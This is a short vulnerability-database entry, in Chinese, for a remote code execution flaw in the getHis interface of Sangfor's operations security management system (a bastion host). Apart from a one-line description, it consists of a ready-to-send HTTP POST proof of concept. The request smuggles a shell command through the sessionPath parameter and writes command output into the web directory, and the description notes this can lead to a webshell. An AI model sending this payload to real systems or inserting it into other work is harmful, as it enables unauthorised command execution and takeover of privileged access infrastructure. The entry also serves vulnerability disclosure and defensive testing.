深信服运维安全管理系统 getHis 远程代码执行漏洞

2026-01-15 深信服运维安全管理系统 PoC Public

Description

深信服运维安全管理系统接口 getHis未对传入的参数进行校验，导致在堡垒机设备服务器执行任意命令，可写入webshell获取服务器远程控制权限。

PoC

POST /isomp-protocol/protocol/getHis HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_6 like Mac OS X) AppleWebKit/535.2 (KHTML, like Gecko) CriOS/32.0.842.0 Mobile/91M133 Safari/535.2
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive

sessionPath=;id>/usr/local/tomcat/webapps/isomp-protocol/cBnIp2Ky.txt;&sid=1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://www.ddpoc.com/DVB-2026-10675.html

References

Related Vulnerabilities